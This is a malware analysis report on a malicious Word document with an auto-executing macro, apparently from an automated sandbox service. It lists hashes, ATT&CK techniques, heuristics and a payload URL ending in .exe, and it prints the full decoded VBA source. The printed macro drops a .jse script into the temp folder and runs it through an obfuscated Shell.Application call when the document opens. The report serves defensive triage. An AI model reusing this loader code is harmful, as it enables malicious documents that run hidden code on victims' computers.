Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2a4e4b576afc8127…

MALICIOUS

Office (OOXML)

90.0 KB Created: 2019-12-10 16:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: 1dc25d5145c2066ce68a6bd710524395 SHA-1: 12b083c10e0cd1a9977858bc6e4f8b6b70d9683b SHA-256: 2a4e4b576afc8127cb11777635fb2e08d5f8be0fc13ecae76f47debb61456999
198 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA project with an auto-executing macro named 'Document_Open'. This macro utilizes 'CreateObject' and appears to be obfuscated, indicating an intent to download and execute a second-stage payload. The presence of a 'Document_Open' macro and the obfuscated loader strongly suggest a malicious intent, likely delivered via spearphishing.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    UyC06 = "rapidly electricity package grabbed model color develop automobile gradually come merely yesterday therefore park most labor ranch flow part airplane center rabbit environment value vegetable change island canal triangle recently name who people simple desk is mill scientist detail closely means oil fun cost watch most mix theory tower opportunity enough truck mud cast manner zebra final cover blind broke bit tropical cheese softly swing sing sail help baby electric brave shorter tales  …
  CreateObject(Mid(AskUser.cmd.Caption, 9, 17)).ShellExecute AskUser.path.Caption
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    UyC06 = "rapidly electricity package grabbed model color develop automobile gradually come merely yesterday therefore park most labor ranch flow part airplane center rabbit environment value vegetable change island canal triangle recently name who people simple desk is mill scientist detail closely means oil fun cost watch most mix theory tower opportunity enough truck mud cast manner zebra final cover blind broke bit tropical cheese softly swing sing sail help baby electric brave shorter tales  …
  CreateObject(Mid(AskUser.cmd.Caption, 9, 17)).ShellExecute AskUser.path.Caption
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    T0TrjOgu = 330935
 findP = Environ("TEMP") & "\"
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.hubbardagency.org/reserve_inbox.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7768 bytes
SHA-256: 704a8d96fd7ff1304f1a5610238a3d1974dd8a348450e120289cacee56817de9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function GetUserAnswer()

Dim yc4S63 As Long
yc4S63 = 8436
Dim X122655Z4l25 As Long
X122655Z4l25 = 1856802
Dim mmR As String
Dim Xa41G59ki261 As String
Xa41G59ki261 = "into syllable thou cutting horn steam seed our living arrive truth none port ten rising tone wave cast opportunity hurried soldier pole start poetry pilot real attention movement birds hospital contain other sheep start action solution still happened main list fallen anything animal moon split stopped farmer loss winter laid wooden but from meant camp proper lesson solar garden tropical seems repeat determine shells buy famous courage taste meat paper married practice divide promised strip differ pilot cup forest reason hello doing reason setting bell helpful worth saddle tell simplest rubbed to upward excitement seen statement wet itself forest article society victory can sentence it correct liquid built paragraph strong customs fallen entirely forty"
GetUserAnswer = AskUser.Question.Text
End Function
Sub Readability()
    Dim DocStats As String
    Dim MBTitle As String
    Dim J As Integer
Dim AO5TfC837 As String
AO5TfC837 = "swam mad discover cell naturally not lunch population somebody on stairs fastened load progress realize rather warn south suppose few section top free ran huge stranger throat shorter unhappy planet slept fruit distance properly longer are drop said across cake hung at parent machine probably way explanation darkness busy neighbor worry someone loose cowboy furniture inside neck barn popular on realize arrange half tape wire hit medicine rose else especially dot forgot lovely basic between turn in ready family everywhere acres blank species lost depend feed noise nearer muscle can ordinary sharp had worried select shall structure enemy within piece victory arrangement hearing stuck report aside spite call root percent tomorrow brain business laugh writing worth particularly"
    MBTitle = "Readability Statistics"
    DocStats = ""
    With ActiveDocument.Content
        For J = 1 To 10
            DocStats = DocStats & .ReadabilityStatistics(J)
            DocStats = DocStats & ": "
            DocStats = DocStats & .ReadabilityStatistics(J).Value
            DocStats = DocStats & vbCrLf
        Next J
    End With
    MsgBox DocStats, vbOKOnly, MBTitle
End Sub
Private Sub Document_Open()

Dim WC2n876OK As Long
WC2n876OK = 609818
Dim M05I0q3u As Long
M05I0q3u = 2468
    Open AskUser.path.Caption For Output As #98
    Print #98, GetUserAnswer
    Close #98
Dim UyC06 As String
UyC06 = "rapidly electricity package grabbed model color develop automobile gradually come merely yesterday therefore park most labor ranch flow part airplane center rabbit environment value vegetable change island canal triangle recently name who people simple desk is mill scientist detail closely means oil fun cost watch most mix theory tower opportunity enough truck mud cast manner zebra final cover blind broke bit tropical cheese softly swing sing sail help baby electric brave shorter tales factor necessary power feed belong pocket beside funny company cool pine drew piece fairly follow bigger poor football active wrapped face rain location man depth why unless policeman combine small talk slabs wait post itself mathematics affect bring completely practice model butter heard fort stood nice ate"
  CreateObject(Mid(AskUser.cmd.Caption, 9, 17)).ShellExecute AskUser.path.Caption

End Sub



Attribute VB_Name = "NewMacros"
Sub l()

End Sub



Attribute VB_Name = "AskUser"
Attribute VB_Base = "0{E58AA4CD-6A82-431D-B289-01D9424331EA}{1C1A215C-4F71-4173-944B-CABE3C8801BE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Readability()

Dim qdY30 As Boolean
qdY30 = True
Dim r07SN3 As Boolean
r07SN3 = True
    Dim DocStats As String
    Dim MBTitle As String
    Dim J As Integer

    MBTitle = "Readability Statistics"
    DocStats = ""
    With ActiveDocument.Content
        For J = 1 To 10
            DocStats = DocStats & .ReadabilityStatistics(J)
            DocStats = DocStats & ": "
            DocStats = DocStats & .ReadabilityStatistics(J).Value
            DocStats = DocStats & vbCrLf
        Next J
    End With
    MsgBox DocStats, vbOKOnly, MBTitle
End Sub
Private Sub UserForm_Initialize()
    Dim findP As String

Dim QS863u95 As Long
QS863u95 = 7108906
Dim T0TrjOgu As Long
T0TrjOgu = 330935
 findP = Environ("TEMP") & "\"
 
 findP = findP & Rnd
 
 findP = findP & ".jse"
 Dim nuC73a5UKf3 As String
nuC73a5UKf3 = "port window heat pretty frequently blanket mix prize hung term that we while across for headed tightly surface nails lay electricity close hollow select hurt pile final class fog but learn hat lovely hungry get separate exciting roll shinning eye afraid character halfway tales author difficult was job close particular leave manner complex softly spring sad consonant tell other leaving agree simply satisfied darkness give perhaps language animal grabbed grew fairly magnet party solar fear history tip money up shinning smell picture store nature inch hunter include gravity board band fear diagram remember season sold musical industrial monkey balloon travel team garage stick still spell"
 path.Caption = findP
 
 Dim searchCmd As String
 
Dim G90Z8 As Boolean
G90Z8 = True
Dim I9Bqt7y80nR9 As Boolean
I9Bqt7y80nR9 = False
 searchCmd = "bgewvgedShell.Applicationcvfswaedfvcawesdf"
 
 cmd.Caption = searchCmd
 
End Sub
Sub ListAllFonts()
Dim J As Integer
Dim FontTable As Table
'Start off with a new document
Set NewDoc = Documents.Add
'Add a table and set the table header
Set FontTable = NewDoc.Tables.Add(Selection.Range, FontNames.Count + 1, 2)
With FontTable
    .Borders.Enable = False
    .Cell(1, 1).Range.Font.Name = "Arial"
    .Cell(1, 1).Range.Font.Bold = 1
    .Cell(1, 1).Range.InsertAfter "Font Name"
    .Cell(1, 2).Range.Font.Name = "Arial"
    .Cell(1, 2).Range.Font.Bold = 1
    .Cell(1, 2).Range.InsertAfter "Font Example"
End With

Dim F1Y1PG4 As String
F1Y1PG4 = "will occur useful fear thick avoid color fear learn suppose even buy kind ten native president frighten kitchen fireplace essential third rice form wave include plural never farmer medicine given generally wet lie pick key person begun state climb plan deep coming properly motor animal understanding human our pencil drew ear every shadow gold bit husband tiny class friend small mix swing machine twice orbit mean tape honor call unless east usually pound examine call tree frozen adventure flies or hat north behind cannot source upward shorter slave magic greater dark market prepare wind same now education unusual ourselves along became orange hardly leg split husband wrapped buried single of busy blew simply plan upper"

'Go through all the fonts and add them to the table
For J = 1 To FontNames.Count
    With FontTable
        .Cell(J + 1, 1).Range.Font.Name = "Arial"
        .Cell(J + 1, 1).Range.Font.Size = 10
        .Cell(J + 1, 1).Range.InsertAfter FontNames(J)
        .Cell(J + 1, 2).Range.Font.Name = FontNames(J)
        .Cell(J + 1, 2).Range.Font.Size = 10
        .Cell(J + 1, 2).Range.InsertAfter "ABCDEFG abcdefg 1234567890"
    End With
Next J
FontTable.Sort SortOrder:=wdSortOrderAscending
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 55296 bytes
SHA-256: d584b278ed172e8413ff52a3436ba451b129d9556c8396e8e79e3571af1a32ee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 5 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.